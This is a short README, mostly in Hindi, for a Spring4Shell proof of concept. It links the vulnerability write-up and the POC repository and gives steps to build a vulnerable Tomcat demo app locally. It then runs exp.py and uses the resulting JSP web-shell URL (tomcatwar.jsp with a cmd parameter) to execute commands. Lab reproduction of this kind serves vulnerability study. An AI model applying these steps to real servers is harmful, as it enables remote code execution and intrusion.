Spring4Shell POC

भेद्यता का विवरण: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

POC का निर्माण: https://github.com/BobTheShoplifter/Spring4Shell-POC

निर्माण/चलाने के चरण

JDK 11.0.14, Spring Boot 2.6.5, और Apache Tomcat 9.0.60 के साथ परीक्षण किया गया

• एप्लिकेशन बनाने के लिए mvn clean package चलाएँ
• demo-0.0.1-SNAPSHOT.war का नाम बदलकर spring-poc.war करें और इस .war फ़ाइल को Tomcat की webapps निर्देशिका में कॉपी करें
• python exp.py --url http://localhost:8080/spring-poc/greeting चलाएँ
  • सफल होने पर, संदेश 漏洞存在，shell地址为:http://localhost:8080/spring-poc/tomcatwar.jsp?pwd=j&cmd=whoami लॉग किया जाएगा।
  • अब आपको Tomcat की webapps/spring-poc निर्देशिका में tomcatwar.jsp फ़ाइल लिखी हुई दिखनी चाहिए। इस निर्देशिका को exp.py में संशोधन करके बदला जा सकता है।
    • 
  • शेल कमांड का परिणाम देखने के लिए URL पर जाएँ
    •